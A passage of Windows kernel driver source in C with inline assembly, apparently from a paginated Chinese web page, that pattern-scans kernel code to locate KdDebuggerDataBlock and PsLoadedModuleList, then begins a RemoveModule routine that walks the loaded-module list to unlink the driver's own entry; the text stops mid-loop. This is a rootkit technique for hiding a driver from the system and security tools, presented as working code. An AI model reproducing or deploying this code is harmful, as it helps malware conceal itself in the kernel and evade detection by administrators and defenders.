KdEnableDebuggerAddr=(DWORD)MmGetSystemRoutineAddress( &UStrName );                                               
       
        if ( !KdEnableDebuggerAddr )
        {
            return STATUS_DEVICE_CONFIGURATION_ERROR;
        }
       
        for (i=0, Sysinit = (unsigned char * )KdEnableDebuggerAddr; i<0x50; i++, Sysinit++)
        {
            if ( (*Sysinit) == 0xc6 && (*(Sysinit+0x1)) == 0x05 && (*(Sysinit+0x6)) == 0x01 && (*(Sysinit+0x7)) == 0xE8 )
            {
                _asm
                {
                    pushad
                    mov edi, Sysinit
                    mov eax, [edi+0x8]
                    add edi, 0xC
                    add edi, eax
                    mov InitSystem, edi
                    popad
                }
            }
            if ( InitSystem != 0) break;

        }

        if ( InitSystem == 0 )
        {
            return STATUS_DEVICE_CONFIGURATION_ERROR;
        }
       
        for ( i=0, DebuggerDataBlockPtr = (unsigned char * )InitSystem; i<0x70; i++,DebuggerDataBlockPtr++)
        {

            if ( *((DWORD*)DebuggerDataBlockPtr) == 0x4742444b )
            {
                DebuggerDataBlockPtr--;
                DebuggerDataBlockPtr--;

                for (j=0; j<0x10; j++, DebuggerDataBlockPtr--)
                {
                    if ( *DebuggerDataBlockPtr == 0x68 )
                    {
                        _asm
                        {
                            pushad
                            mov edi, DebuggerDataBlockPtr
                            inc edi
                            mov eax, [edi]
                            mov KdDebuggerDataBlock, eax
                            popad
                        }
                        break;
                    }
                }
               
            }

            if ( KdDebuggerDataBlock != 0 )
            {
                break;
            }
        }

        if ( KdDebuggerDataBlock == 0 )
        {
            return STATUS_DEVICE_CONFIGURATION_ERROR;
        }

        _asm
        {
            pushad
            mov edi, KdDebuggerDataBlock
            mov eax, [edi+0x48]
            mov PsLoadedModuleListPtr, eax
            popad
        }

        if ( PsLoadedModuleListPtr == 0 )
        {
            return STATUS_DEVICE_CONFIGURATION_ERROR;
        }
       
        //获取 Ntoskrnl 的起始地址
        NtosModPtr = ( PMODULE_ENTRY ) PsLoadedModuleListPtr;
        NtosModPtr = ( PMODULE_ENTRY ) (NtosModPtr->le_mod.Flink );  
        NtoskrnlBase = (DWORD) ( NtosModPtr->base );

        return STATUS_SUCCESS;

}

NTSTATUS RemoveModule ( )
{
    DWORD RemoveModleAddr;
    PMODULE_ENTRY PModPtr_Current;
    PMODULE_ENTRY PModPtr_Flink;
    PMODULE_ENTRY PModPtr_Blink;

            PModPtr_Current=(PMODULE_ENTRY)PsLoadedModuleListPtr;
           

            PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Current->le_mod.Flink);

            //Get RemoveModle Addr

            RemoveModleAddr= DriverAddr;

            for ( ; PModPtr_Flink->le_mod.Flink != (PLIST_ENTRY) PModPtr_Current ; PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink) )
            {
                if ( RemoveModleAddr > ((DWORD)PModPtr_Flink->base) && RemoveModleAddr < ((DWORD)(PModPtr_Flink->Size) + ((DWORD)PModPtr_Flink->base)) )
          &

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]  ... 下一页  >>